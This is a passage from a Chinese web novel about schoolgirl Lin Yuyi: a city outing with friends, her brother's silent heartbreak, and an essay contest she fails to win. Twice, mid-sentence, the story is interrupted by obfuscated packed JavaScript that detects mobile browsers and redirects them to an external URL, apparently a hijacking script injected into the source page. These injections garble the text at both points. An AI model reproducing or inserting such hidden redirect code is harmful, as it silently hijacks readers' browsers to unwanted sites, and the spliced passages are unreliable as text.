纸袋里装着一杯温热的豆浆,一盒小笼包。 豆浆香醇,豆味浓郁,还带着回甜。 小笼包一盒两个,个头中等,皮薄肉厚,林羽翼下意识想用手去拿,又怕弄脏手指,犹豫了一下,干脆直接上嘴,却被张潇扬阻止了。 “你干什么!”张潇扬指指袋子里多余的吸管,“先用吸管喝汤,喝完了再吃。” “唔,以前没吃过嘛。”林羽翼不害臊地笑了笑,小心地用吸管戳一下小笼包薄薄的表皮,汁水便从里面溢出来。 她试探性吸一口,一双杏眸瞪得发亮。 林羽翼以前喝过最好喝的汤,是去别家吃席时,九大碗里的清蒸排骨汤,林羽翼觉得排骨汤已经是世界上最好喝的汤了,可比起这一口醇厚的高汤,差得太远。 大骨汤底的味道在嘴里扩散开,随即是汤料里的香浓的肉味,夹杂着一丝难以察觉的甜,丝毫不让人觉得腻味,反而鲜香至极。 “怎么样?”张潇扬期待地问。 “好吃!”林羽翼重重点头,“我第一次喝到这么好喝的汤。” “是嘛,林小鸟,以后跟着我混,带你吃香喝辣。”张潇扬笑。 林羽翼喝完汤,三两口吞下一整颗包子,意犹未尽地舔舔嘴唇。她看着盒子里剩下一个包子,内心无比纠结不舍: “这一个包子……我能留给师涟吗?” 林羽翼真的很想再吃一个包子,但好不容易遇见这么好吃的东西,她想要和师涟一起分享。这是她们认识近一年来养成的一个小习惯,吃到什么好吃的,看见什么好玩的,总想要分享给对方。 张潇扬看着林羽翼那馋兮兮又努力忍耐的样子,没忍住笑:“吃吧你!我给师涟也准备了一份,在车上的保温箱里。” 说话间,她们已经走到校门口,一辆低调的黑色迈巴赫SUV停在那里。 这时的林羽翼并不认识迈巴赫,甚至不知道SUV这种车型,她只觉得这辆看似不起眼,实则征管车身漆面都反着光的漂亮车子一定很贵,应该、或许……和那辆跑车差不多吧? 开车的人不是开学那天她见过的年轻男人,而是一个文质彬彬的中年男人,林羽翼的脊背肌肉一下子紧绷,拘谨地跟在张潇扬身后。 “陈叔叔,去广都医院后门那条街。”张潇扬替林羽翼拉开车门,随口解释道,“这位是陈叔叔——啧,本来我哥答应了送我们去城里,可他临时反悔了。” “潇扬,话可不能这么说,你哥他有工作要忙嘛。”陈叔笑呵呵地说。 “我知道我知道,他和我爸一样,现在都是大忙人呐。”张潇扬翘起腿,烦躁地摆摆手。 “潇扬,你这脾气……”陈叔叔开玩笑地对林羽翼说,“同学,你可别被潇扬这脾气给吓到了。” “怎么会!”林羽翼立即摇头,“潇扬她对我们很好的,我从来没觉得她脾气差。我、还有我们组里的同学,都可喜欢她了。” 林羽翼在长辈面前装乖有一手,三两句话就把陈叔叔说得满脸笑,一旁张潇扬没再说话,但耷拉着的嘴角无声往上翘了翘。 汽车在街道上缓缓行驶,清晨的广都镇就像一个刚刚睡醒的小姑娘,正擦着朦胧睡眼,一点点清醒过来。街道两边已经有零星铺面开了门,主街人行道上偶有行人,街道上车流不多,但交叉路口停满了等客的人力三轮车,空气中弥漫着浅浅的雾气的味道。 师涟已经等在家门口的小巷外了。 林羽翼远远看见她,立刻摇下车窗朝她招手:“师涟——!这儿!” 汽车停在师涟面前。 师涟和前排的陈叔叔打过招呼,随即抬起手勾了勾手指上的塑料袋:“我带了早餐,我们吃完了再出发?” 是茶叶蛋和粥。 林羽翼一怔:“我们刚吃过了。潇扬买的小笼包——给你也留了一份,你吃过早餐了吗?还吃得下吗?” “吃得下。”师涟先是点点头,随即看一样自己手上的茶叶蛋,“我把它们放回家,正好我爸今天会回来,留给他待会儿吃。” “不用不用,懒得你跑一趟。”张潇扬忽然喊住她,“没事儿,我还吃得下,林羽翼你呢?我们一起分了呗?” “行,我也吃得下。”林羽翼打开车门准备下车,被张潇扬扯住衣领拉了回去。 “涟涟,上车。”张潇扬笑着招呼,“在车上吃,免得耽误时间,待会儿晚了进城会堵车。” “好。”师涟没有拒绝。 张潇扬主动拿起茶叶蛋,打开包装,生疏地剥开蛋壳。茶叶蛋略微刺鼻的气味立马在雅致的黑色商务风格的车厢里扩散开,大概,这是这辆车第一次染上如此鲜活的市井味。 前排,陈叔通过后视镜看见张潇扬小口吃着茶叶蛋的样子,温和地笑出了声。后排三个少女抬头无声对视片刻,也跟着笑了。 …… 汽车一路疾驰过宽阔的天府大道,路过市中心广场,最后停在人群熙攘的街道边。陈叔往车窗外指指路:“沿着新华书店的路口往前走,没几步就是春熙路。你们好好玩啊,晚上潇扬打电话,我来接你们。” “好好好,陈叔晚上见。”张潇扬跳下车,伸个懒腰。 张潇扬打扮得很时髦,她穿着这身衣服走在广都的街上,是会被路人多看几眼的程度,格格不入极了。可是在城市中心的春熙路,打扮得比她还张扬的不算少数。没有谁会向她投去多余的目光,大家都习以为常。 除了打扮时髦靓丽的年轻人,街道上还不乏金发碧眼的外国人,穿着红色僧袍的光头僧人,还有肯德基店铺外,有人打扮成肯德基爷爷,笑眯眯地逗小孩子玩。 从她们下车的位置上天桥,过一条街,才走进春熙路里。 天桥两边,高楼大厦连绵不绝,如擎天的钢筋森林,向下看是交错的马路,接近正午,车辆川流不息,连接成一条条五彩线条。 天桥上同样热闹,除了拥挤的游人,桥上还坐满了摆地摊的小贩——和广都通济桥上卖虎牙的摊贩不同,这里的小贩大多卖的是一些小玩意儿。 一蓝一粉两个彩色的毛绒小人,在箱子里欢快地跳起舞,引来不少游人围观。仔细看才能发现,其实小人儿身上有根细线,被摊贩提着。 还有卖小狗玩具的,毛茸茸的小狗,放在箱子里,“汪汪”叫着往外面冲。 林羽翼对这些小玩意儿毫无兴趣,她又不是小孩了,让她觉得可惜的是,她还没站在天桥上多看看两边的高楼风景,就不得不跟着拥挤的人潮走下楼梯。 “视野真好啊……”林羽翼一边靠着师涟,另一只手牵着张潇扬,脑袋念念不舍地往回望,“站在桥上往远处看,这些高楼真的就像森林一样,如果我以后能住在这里就好了。” “为什么?”张潇扬问。 “因为这里很繁华很热闹啊。”林羽翼不假思索道,她喜欢热闹的地方。 “这里?很繁华吗?”张潇扬打个哈欠,走路姿态像是回家一样放松,“嗯……比起广都那里,也算挺繁华的吧。你是没见过纽约时代广场,那里才是真正繁华的地方,不夜城,你知道这三个字吗?说的就是纽约。在那里,就算是凌晨,四周的灯光也像白昼一般通明。” “纽约……美国纽约吗?” “嗯哼。”张潇扬点头,“下周给你看看照片。” 不夜城……? 林羽翼觉得,蜀都市中心,春熙路的繁华已经离她很遥远了。在世界的另一头,真的会有那么一个地方,繁华到彻夜灯光不息,明亮如昼吗? 林羽翼没有接话,默默地抬头看着四周高楼与人群,悄无声息间,一颗种子深深种在了她的心里。 总有一天,她要到外面的世界看看,看看比蜀都更遥远更繁华的地方,看看张潇扬口中的那座不夜城。 这时的林羽翼大概怎么也想不到,十多年后,当她真的去到纽约,亲眼看到自己向往许久的“不夜城”后,她心里的想法竟然是: “就这?” “还不如广都呢。” 这时的她怎么也想象不到,短短数十年时间,村镇般的小城广都能发展成未来与现实相交织的公园城市。就如她怎么也想不到,十来年后的她,会登 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13003056|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上那么高的山巅,取得那么大的成就。 这时已经接近正午,三人草草地在春熙路上逛了逛,遍随便拐进一家肯德基。店里面人满为患,林羽翼好不容易才抢到角落里三人卡座,又急急忙忙排队去点菜,忙活十来分钟,总算艰难地把全家桶给端到桌上。 炸鸡饱满的香气扑鼻,和早上的小笼包一样诱人。林羽翼咬一口炸鸡,酥脆的表皮在嘴里炸开,白羽鸡独有的带着汁水的肉味随之扩散,再喝一口冒着泡泡的冰可乐,别提有多享受了。 林羽翼吃着,忽然听见旁边传来一阵欢呼,是店里的游乐角,一个七八岁的小孩站在那儿,卡通打扮的“奇奇”为她送上生日蛋糕,家长和别的小朋友坐在旁边,欢呼着鼓掌。 是在过生日啊。 林羽翼看得目不转睛。 她七八岁时的生日,是怎么过的呢?哥哥从镇上买来小蛋糕,点上一根蜡烛,一家三人坐在破旧在堂屋里,她在父亲和哥哥期许又温柔的目光下,吹灭那一根蜡烛。 其实也挺幸福的。 但林羽翼依旧发自内心地小声感慨道: “现在的小孩……”或者应该说,城里的小孩,“过得真幸福啊。” 毕竟,七八岁的她连肯德基是什么都不知道。 “嗯哼。”张潇扬听见林羽翼在说话,没听清说的是什么,只是本能地嗯了一声。 林羽翼这才注意到,张潇扬这顿饭吃得心不在焉,她面前的炸鸡块只是草草动了几口,仅仅是能填饱肚子的程度,便没有再吃,她撑着下巴,看着窗外的景色发呆。 在林羽翼眼中仿若山珍佳肴的肯德基,对张潇扬毫无吸引力,只是一顿再普通不过的、用来填肚子的快餐罢了,是路边随随便便可以捡到的野草。 …… 春熙路其实并不大,街道就只有那么长,半个小时就能从头走到尾,但林羽翼三人在这儿逛了一下午。 吸引人的从来不是街道本身,而是街上各色各样的店铺。 街道入口处的新华书店,街道里数也数不清的服装店,还有一家大型的伊藤洋华堂超市,光是四层楼的大商超,就够她们逛一下午。 张潇扬一路买了不少东西,衣服、香水,还有几种英文标牌的护肤品,最后直到她们三人提不下才没再买。林羽翼则是看什么都稀奇,就算什么也不买,跟在大小姐屁股后面到处逛,看着周围的新奇玩意儿,和师涟聊着天,她已经觉得足够有趣了。 晚饭时间,三个人都逛得精疲力竭,因此,跟着张潇扬走近那家灯光暗沉、装修精雅的西餐厅时,林羽翼心里都没有什么多余的感受了,只想快些坐下来休息。 “吃什么?”张潇扬随手翻着服务员递来的厚重菜单。 “随便。”林羽翼趴在桌上,累得只想睡觉。 “喂,要不要这么敷衍?不就是逛一下午街吗?有这么累?”张潇扬翘起二郎腿,看向桌对面的林羽翼。 “当然了,大小姐,你买的东西都是我在提着,你说我累不累?”林羽翼有气无力。 “好嘛……”张潇扬语气一下子变得心虚,“我和师涟一块儿看菜单,不管你了。” 林羽翼昏沉地趴了会儿,店里的熏香十分助眠,她甚至小憩了会儿,最后被餐盘放在桌上的声音惊醒。 林羽翼困倦地揉揉双眼,看见桌上摆着的三盘牛排,以及三杯绿色的柠檬汽水。她昏沉沉地找筷子,却发现桌上只摆有一副金属刀叉。 师涟和张潇扬已经各自拿起刀叉,熟稔地切牛排。 “左手拿刀……还是右手呢?”林羽翼看看师涟,别扭地学起她的动作,左手拿着叉子用力摁住牛排,右手拿刀切呢么一下—— “嘶!” 她切得太用力,差点没把牛排从盘子里切到外面去。 “吃我的吧。”师涟的那盘牛排已经切成条状,她把自己的盘子推给林羽翼,交换林羽翼的那盘牛排。 师涟切牛排时,动作优雅、轻松,丝毫看不出用力的迹象,却把牛排切得整整齐齐。 林羽翼看得眼巴巴:“师涟你吃过西餐吗?” 师涟点头:“在沿海吃过。” 张潇扬就更不用说了。 “啊……”林羽翼小声哀嚎:“只有我没吃过吗?” “是是是,就只有你!”桌对面的张潇扬举起叉子笑,“林小鸟,我才发现你手怎么这么笨呢?就算是第一次切牛排,也不至于差点把牛排切飞出去吧?” 林羽翼:“……” 她还没来得及为自己辩解一两句,旁边师涟忽然轻轻笑了:“是啊,几个月都没学会扎头发,也只有你了,林羽翼。” “我……!”林羽翼一时语塞,耳尖烧得厉害。从去年开始留长发,留到现在,她的头发已经过肩,她却依旧没学会扎头发,总是扎得乱糟糟的,还是得师涟帮她。 “哈?”张潇扬看了眼林羽翼披散的头发,忽然意识到,“你平常头发不是扎得蛮好的吗?是——” 她看向师涟,了然地笑。 “啊啊啊你们别说了别说了!我就是手笨嘛!”林羽翼羞愤得恨不得一头钻进地里。 张潇扬笑了好一会儿,终于止住,她举起柠檬茶杯:“好好好,我们不笑了,来干杯怎么样?下周二你就要去参加作文比赛了吧,我们在这里提前庆祝林大作家作文比赛获奖!” 林羽翼揉揉依旧发烫的脸颊,小声咕哝:“……要是没得奖呢?” “说什么丧气话?要是没得奖,这顿饭就当做提前安慰你,行了吧!”张潇扬举杯,啧一声,“林羽翼,对自己有点信心行不行?” 师涟举杯,在林羽翼的杯沿边碰出清脆的一声,她的语气无比认真: “加油。” 26.第12章 在车上昏沉沉地睡了一路,回到广都时,天色已经黑了。 “拜拜——!”林羽翼下车,和车上的两位小伙伴告别,她揉揉吃得圆滚滚的肚子,缓慢朝马路对面的学校走去。 周六的夜晚,学校外面很安静,路上一个行人的影子都看不到,一棵棵枝叶繁茂的小叶榕张牙舞爪,如鬼影般遮盖在街道两头。 这条路光线很暗,往河边看,几乎看不到一丝光,只有学校大门口立着一盏路灯,散发出昏暗温暖的橘色光点。 在灯光照射下,林羽翼忽然看见树下坐着一个颓然的人影,他埋着脑袋,似乎在街边睡着了,而他的影子被拉得老长,与诡异的树影融为一体。 流浪汉?林羽翼一下警惕地绷紧肌肉,下意识想绕着走,免得被盯上。广都城里流浪汉不少,尤其前些日子,丁字街的小巷里竟然还发生了流浪汉杀人的事件,于是这段时间,学校对学生们的安全教育一轮接一轮。 然而再一看,林羽翼却发现那个垂头丧气坐在街边的人影有点眼熟。 不,不是有点。 是非常眼熟。 林羽翼小心翼翼地走近几步,彻底看清了,她的表情立刻变得有点复杂。 “哥——?”林羽翼皱眉,试探地喊,“哥,你怎么坐这儿呢?” 王登高似乎没听到她的声音,等到她喊第二声,他才缓慢地抬起头,还没睡醒似的揉揉眼睛,目光飘飘渺渺好一会儿,终于汇聚在她身上,声音沙哑:“……小鸟,你回来了。” “嗯,我回来了,今天白天和同学进城玩儿去了。”林羽翼赶忙伸手拉王登高起身,“哥,你怎么坐地上睡觉?埋不埋汰!快起来!” 林羽翼的小身板怎么可能拉得动王登高,她拉了两下,像在拉一块巨石似的,最后是王登高自己晃晃悠悠地站起身,他打个哈欠:“等你等得太困了,没忍住睡了会儿。” “再困也不能在大街上睡呀……”林羽翼小声嘀咕一下,接着问,“哥,你今天怎么突然想着来学校找我,有什么事儿吗?” 林羽翼已经不知道多久没见过王登高了,以前她读初中的时候,他再忙也会抽时间去学校见见她,亦或是周末回家陪着她和父亲。可自从她读高中,除了家长会,他几乎就没来过学校! 林羽翼刚开始还会在周末去王登高工作的地方找他,后来怕打扰到他和小刘姐姐谈恋爱,也就没再去过了。 王登高依旧没睡醒般,隔了好几秒,才从喉咙里发出闷响般的含糊声音:“……嗯,有事儿。” “说吧,什么事儿?”林羽翼刚在车上闷了一觉,脑子里同样困倦,她眯眼打个哈欠,“我还以为你都把我这个妹妹忘了呢。” “怎么可能呢?”王登高抬手,下意识想摸摸林羽翼的脑袋,却忽然发现林羽翼不知何时长高了不少,他抬手都抬得比以前更费力,他脸上露出一个温暖的笑,“都说女孩子高中之后就不长个了,你怎么还长了两三厘米。” 林羽翼初三体测时身高已经一米六七,高中后更是直冲一米七,在蜀都的女孩子中算是很高的了。 “我这算什么,师涟长得比我还多呢。”林羽翼双手插兜,往前走。 第一次见到师涟的时候,师涟就比她高一点点,现在快一年过去,师涟还是比她高一些。 “长高一些,挺不错的。”王登高缓步跟在她身后,“去吃饭吗?” “我吃过了!吃得可撑。”林羽翼打个饱嗝儿,回想起今天在城里的所见所闻,迫不及待给哥哥分享,“同学请我在城里的西餐厅吃饭呢,吃的牛排,哥你吃过吗?” “没。”王登高摇摇头,不等林羽翼接着说,他微微蹙眉,“你和同学今天在城里——蜀都城里玩儿?” “嗯哼,她家叔叔开车接送我们的呢。”林羽翼点头。 王登高眉头皱得更深:“男同学还是女同学?” “当然是女同学!还有师涟也在!哥你在想什么!”林羽翼一下子炸毛,“哥,我就说嘛,你这学期根本没关心过我的事儿,连我们班里转来了个新同学都不知道!是女同学,被老师分到我们组里,她家里可有钱了,开学第一天坐跑车来学校呢!” 林羽翼越说,语气越是愤愤。如果是初中,她早在第一时间把这些趣事儿分享给哥哥了。 “……”王登高埋着头,眼底闪过一丝愧疚,这一年里,他的确太忽视妹妹了,但他下意识为自己辩解道,“小鸟,你长大了,总得有点儿自己的生活,不能和以前一样,什么事儿都只想着和哥哥说。” “切。”林羽翼懒得多说,她往广都街上最热闹的方向走,“哥,你没吃饭?” “本来想等你一起吃。” “唔……那我勉为其难陪你吃吧,不过我是一点儿都吃不下了,只能看着你吃。”林羽翼伸个懒腰,“哥,小刘姐姐呢?” 林羽翼走在前面,没有注意到,跟在她身后的王登高僵了一瞬,就连脸上温和的笑容都瞬间逝去。 “她今天有事儿,来不了。”王登高漠然地说,或许是害怕再从林羽翼口中听到小刘姐姐四个字,他迅速转移话题,“你们杨老师今天打电话到我单位来,说是下周有家长会,还说你周二要去参加作文比赛。所以我就想着,今天来看看你,鼓励鼓励你。” “有什么可鼓励的?你又不知道我写作文是什么水平——” 次次参赛,次次不拿奖,王登高再清楚不过了。 林羽翼闷闷地摇摇头。 王登高没有接话,他的目光犹疑,不知道在想写什么。 林羽翼没有继续说作文比赛的事儿,她还沉浸在今天的蜀都一日游中,欢快地给哥哥讲起了今天的所见所闻,肯德基、大商超、西餐厅,还有传说中的纽约不夜城。 王登高没有认真听,他心不在焉地应和着。 从林羽翼说出“小刘姐姐”那四个字后,他的灵魂好像被抽空了一半。 吃过晚饭,把林羽翼送回学校后,王登高穿过黑暗无车的马路,径直走向河边堤坝的方向,沿着无光的河岸缓步往前走着。 夜已经深了。 河边很安静。 夜并不是太安静。 因为河水翻涌的声音一波接一波,仿佛永不停歇。 河边小道并不是完全没有光,对面工地上零星的光点洒在奔流河水里,然后迅速被褐色的河流吞噬,化作璀璨繁星。 王登高不知何时停住脚步,他靠在河岸的栏杆边,无神地望着河流里的星星点点,隐约能听到河对岸工地里打牌的声音。 他久违地想起了很多年前,他离家工作的第一年,在工地里亲眼目睹的那一场死亡。 他已经很久没想起这件事了。 久到他以为自己已经忘记。 可突然回想起来,他的眼眶依旧变得湿润,酸涩感从喉咙蔓延到鼻尖,带来一阵阵苦痛的痉挛。他想到了罗大哥最后对他露出的那个笑,想到了他们日常生活中那些无意义的寒暄,想到了工友们对罗大哥的评价。 最后想到了罗大哥猝不及防的死。 王登高晃晃脑袋,把罗大哥的记忆从脑海里驱逐,可立马,另一段记忆又被唤醒,这回,是他无论如何都驱逐不了的。 是父亲。 父亲的病,父亲的死亡。 王登高用力抹了把眼睛。 生活一直是这样吗? 你以为会陪伴你很长一段时间的人,或许是朋友,或许是亲人,都会在某个意想不到的时刻,毫无预兆地离你而去。 就如今天,小刘忽然对他说出了分手两个字。 毫无征兆。 王登高很喜欢小刘,尤其喜欢她甜甜的笑容,每次她对着他那么笑,他都感觉,自己心底某个被撕裂的伤口,悄无声息地愈合了一点点。 可是今天,她用那么甜的笑,对他说出了那么无情的一句话。 “我们分手吧。” 那么平静,那么决绝,毫无缘由,毫无留恋。 剩下王登高一个人,苦得要命,痛得要命。安宁的港湾忽然消失,生活的希望被磨平大半,就如同那星星点点被漆黑河水吞噬的灯光。 …… 林羽翼并不知道哥哥的第一次恋爱已经结束,她正为了作文比赛而焦头烂额。 几天时间,林羽翼把申树带给她的作文工具书看了个七七八八,可书里的内容……别说吸收了,她连记都没记住多少。 什么文章结构,起承转合,开篇点题……啊,用得着这么麻烦吗? 尤其是看见书上申树用红笔密密麻麻勾勒出的笔记、用她那优雅的字迹写出的一行行注释时,林羽翼更是觉得绝望,她和申树之间的差距,简直是鸿沟! 一条无法逾越的鸿沟! 绝望归绝望,林羽翼还是很努力地做足了准备,甚至认真背了三篇范文。 周二,大课间的下课铃打响,物理老师咂咂嘴巴,佯装没有听见,教鞭指在黑板上:“同学们,我们接着看这道题……” “罗老师,打扰一下!”物理老师操着一口川普讲题的声音被语文老师打断,“申树,林羽翼,快收拾书包!我们准备出发啦!” 林羽翼身体倏地坐直。 “加油。”课桌下,师涟轻轻勾了勾她的手指。 林羽翼深呼吸。 “林小鸟,加油加油!”前排的张潇扬转过身来,“等我们的林大作家回来!” 张潇扬看都没看一眼身侧的申树,只是客套地对她说了句:“你也加油。” 全校一共只有十来人报名这次作文比赛,再加上两位带队的语文老师,还坐不满一辆小巴车。林羽翼坐在车子倒数第二排靠窗,抱着书包,呼吸微涩地望着窗外发呆。 “很紧张吗?”申树注意到她的寡言。 “嗯……”林羽翼下巴搁在书包上,闷声道,“没想到还要去大学里比赛,也太正式了。” 以前林羽翼参加作文比赛,要么是在自家学校里,要么是把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016282|135210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作文写好了寄去城里,只有这次这么大阵仗,竟然借了川大的场子。 申树沉默片刻,冰凉柔软的手指忽然搭在林羽翼手背上,轻轻安抚:“我也很紧张,没事,我们就当去长长见识。” 紧张吗? 申树说是这样说,可她的表情始终如一,目光和平常一样的柔和,柔软的语气中听不出一丝恐惧。 申树好像永远都是这样,乍一看明明是朵娇弱的小白花,风一吹就倒,惹得所有人怜惜,可无论狂风刮过多少回,她依旧稳稳当当地站在那里。 车上很安静,汽车启动的声音尤其明显。 “嗨呀,你们都这么害怕呢?”语文老师豪爽地声音响起,“我就直说了吧,这一趟去参赛呢,拿不拿奖都无所谓,高中的作文比赛含金量可比你们小学初中参加的那些要高得多,别说你们了,就连四七九那些顶尖学府里,都没几个人能拿奖,说白了——” “我压根没对你们报多大期望,能拿奖当然好,但拿不到也没关系,大家就当去体验体验,长长见识,别紧张也别气馁,人生就是一次次体验嘛。” “都给我提起劲儿来!要是我们到得早,我带你们逛逛川大!” 语文老师的话稍稍安抚了林羽翼,她闭眼深呼吸,将脑海里的杂念摒除。 最终,林羽翼一行人并没有逛成川大,小巴车抵达的时候,离比赛开始只差十分钟,语文老师急冲冲地带着她们赶到会场,差点没迟到。 大学的会堂竟然和广都中学的大礼堂差不多,装修布置很陈旧,面积甚至还没有广都中学的那么大,这让林羽翼稍稍沉下心来。 作文卷哗哗哗地从监考老师手里发下来,林羽翼立刻进入状态。 这一次比赛的题目是:那年我们初相逢。 林羽翼脑海里原本一片空白,然而看见后面那句“文体不限”后,她立马松了口气,抬笔,一个个画面飞快涌入她的脑海,然后转化成文字,被她毫不费力地写在纸张上。 【我和哥哥的初遇当然是在我出生的那一天。 但我不记得那天的事情,在我记忆中,与他第一次相遇,是在那一天下午。 那天天气很热,太阳把空气晒得扭曲,仿佛是院子里的植物被晒出蒸发的汗液。我被热得哇哇大哭,哭得撒泼打滚,可是连地板都被晒得滚烫,我只能泪眼朦胧地与父亲对视。 父亲无奈又心疼地看着我,他张嘴,试图和我讲道理,可他深知和我这个年纪的小孩毫无道理可讲,所以他只能无奈地叹着一声又一声气。 哥哥就是在这时出现的。 他风一般从院子外冲进来,手里抱着一杯冰蓝色的色素饮料,笑眯眯地把饮料递到我嘴边,动作无比小心:“小鸟,哥哥给你带了冰水,来喝一口尝尝。” “王登高,你哪儿来的钱?浪费!”父亲立马皱起眉骂他,“她这么小,不能喝冰的!” “就喝一点点嘛,无所谓的。”哥哥笑嘻嘻地回应。 那时的我哪儿懂这些?我不明白父亲为什么发火,我只觉得,嘴里那冰冰甜甜的液体从口腔蔓延到食管,再到胃里的感觉真好—— 好吧,那时我压根不懂什么是食管,什么是胃。 我只觉得,在酷烈夏日给我带来这一丝冰凉的哥哥,是个盖世英雄。 …… 我没有母亲。 我的父亲很努力地爱着我,可他孱弱的躯体、忙碌的工作,都代表着,他无法做一个在生活中方方面面把我照顾好的父亲。 所以幼时的我,几乎是和哥哥相依为命着长大。 有很长一段时间,哥哥几乎是我的全世界,而我亦是他的全世界。 …… 上次见面,他却对我说,我长大了,我应该有我自己的生活。 我这时才忽的发现,我与他不知何时隔得越来越远,被亲缘纽带维系着的两个人的小世界,早已分别,各自独立。 …… 是什么时候开始变化的呢? 我不知道。 或许时间的轮盘,从很久以前的某个不经意的瞬间,便开始转动。而我们在它的转动之间,越来越远。 …… 我永远记得,那年我们初相逢。 以及后来许多年的点点滴滴。 但人生的轨途一直在往前,我们再也回不到初遇。】 写到最后,林羽翼把稿纸往桌子前递了递,没让眼泪滴落在纸上。她深深地呼口气,放下笔,脑海里满是前几天和哥哥见面时,他们说的那些话。 其实她早就知道了,越是长大,她就越是要有自己的生活,更别说哥哥了——他更得结婚、生子、拥有自己的小家庭。 这份亲情或许永远也不会减少,但他们的距离注定越来越远。 林羽翼拿起稿纸,从头到尾认真看了遍作文,最后满意地放下纸张。 她很确定,这是她从小到大写出来的最好的一篇文章了。 她有信心拿奖。 27.第13章 周五,语文课。 “作文比赛结果出来了。” 语文老师一点儿没给林羽翼反应时间,忽然宣布了这个消息:“很遗憾,我们学校所有参赛同学,都没有获奖。” 语文老师笑盈盈的目光落在林羽翼和申树身上,这是她预料之内的结果,她的目光中并没有遗憾:“其实,昨晚看了你们的作文后,我还挺惊喜的。尤其是林羽翼,亲情这个切入点非常好,你写得也很不错。虽然没能获得奖项,但你的这篇文章,放在考试里,能够拿五十五、五十六分的高分。” “林羽翼,你的记叙文写得很好,不要觉得气馁,这只是你第一次参赛,以后机会多得是。” 说完,语文老师带头鼓起掌,班上紧跟着一阵震耳欲聋的掌声。 掌声结束,语文老师话锋一转:“只可惜,记叙文在高中不吃香,这也是林羽翼你平日作文成绩提不上来的原因,林羽翼,你得好好练练你的议论文。” 林羽翼沉默地埋着脑袋。 她没有因为语文老师的夸奖而开心,反而,心里涌起一阵沉闷的苦痛感。 这不是她第一次参赛,她小学、初中的时候,参加过无数次比赛——仅仅是参加而已,从未获奖,从未收获他人的关注。 这已经是她写的最好的一篇文章了。 她满是信心地期待了这么几天。 结果……还是没能获奖吗? 还是不够好吗? 不止是她,申树的作文也没获奖,连个安慰奖都没有,那么,那些获奖的作文,写得得有多好啊? 想想自己初高中时无数次的投稿经历,林羽翼知道,不获奖才是意料之中,可她依旧觉得难过。 林羽翼沉闷地听完这节课,下课铃响的一瞬间,她便猛地往旁边一倒,栽进师涟的怀里,鼻子委屈地抽了抽。 “师涟,我觉得自己已经写得很好了……我以为我能拿奖。” “我知道。”师涟声音很轻,手指柔软地落到她的发丝上,像是在安慰人,可语气无比认真,“我知道你写得很好。” 林羽翼翻个身,有被安慰到一点点,但她立刻娇嗔般出声:“你怎么知道?你又没看过!” “可是我看过你以前的作文——不止是高中的,还有初中。”师涟勾起一丝回忆的笑。 “诶?”林羽翼眨巴眼,“初中……我们还不认识吧?” “可我那会儿就知道你了呀,班主任老师和我提起过好几次你。” “也是……”她们在新乡镇上读的初中,一共就两所中学,学生成绩都不算好,只有她和师涟两个年级第一能拿得出手,她的班主任同样和她提起过好几次“隔壁学校的师涟”。 师涟继续说:“我们班主任是语文老师,她每次在班上说起你,尤其会夸你的作文,她是这样说的——” 师涟模仿着语文老师老成的语气: “你们看看隔壁学校的林羽翼,她作文写得多好,每次都接近满分,还去市里参过赛!你们就不能学学她吗?” “噗嗤。”林羽翼被逗笑了。 “每次联考,老师都会把你的作文拿给我看,我经常想,如果我也能写得这么好就好了。”师涟认真说,“我喜欢你写的东西,作文也好,那篇武侠小说也好,我喜欢你的笔触,我喜欢你字里行间透着的那股气质——” “看似粗糙的描写下,总藏着一些细腻无比的细节。” “我很喜欢。” “唔……”林羽翼被夸得飘飘然,她躺在师涟腿上,揉着微微发烫的耳根,“其实我也很喜欢。” 喜欢写故事,喜欢用笔勾勒出一个又一个有生命力的鲜活角色,喜欢在纸上创作出只属于自己的小世界。 “所以,能不能获奖其实不重要,重要的是,你喜欢。”师涟轻笑着握住她冰凉的手指。 “可是……”林羽翼闷闷地哼了一声,“真的很受打击啊。这么一次又一次,拿不到奖,投稿也不被接收,说不定以后慢慢就喜欢不起来了。” “那是以后的事。”师涟轻笑着呵一声,“现在你要是不想写了呢,正好把时间空出来专心学习。等以后毕业了,有的是时间和机会。” …… 蜀都的夏日永远燥热。 如果不热,七八月的假日,又怎么算得上暑假呢? 林羽翼对高一暑假的记忆分为前后两段。 她的前半段记忆,被老旧风扇嘎吱嘎吱的声音填满。林羽翼暂住在师涟家,和师涟一起学习。她们把餐桌搬到风扇正下方,试图从呜呜旋转的风扇下获得那么一点儿清凉,却没有任何成效。 天气还是那么热,空气燥得快把人烤干,林羽翼感觉自己脑子被热得缩水,一点儿学习的劲头都没有。 师涟说着“心静自然凉”,可她后背浸湿衣衫的汗水暴露了她的真实处境。 这个夏天也太难熬了。 这段痛苦的回忆终止于一通电话。 八月上旬的某一天,林羽翼像以往每一天一样被热得哭爹喊娘最终没了力气只能哭唧唧趴在桌上犯懒时,师涟家的电话响了。 “喂?”师涟看一眼动弹不得只眼巴巴抬眸盯着着她的林羽翼,无奈起身去接电话。 “喂喂喂,是我!”电话那头传来张潇扬的声音,“师涟,林羽翼在你家吗?你们有空吗?出来玩吗?” 她一张嘴机关炮似的接连吐出好几个问题。 “在家,有空,好。”师涟点头。 在国外疯玩了一个月的张潇扬回国了,还给师涟和林羽翼各带了一个小礼物—— 小巧的白色随身听。 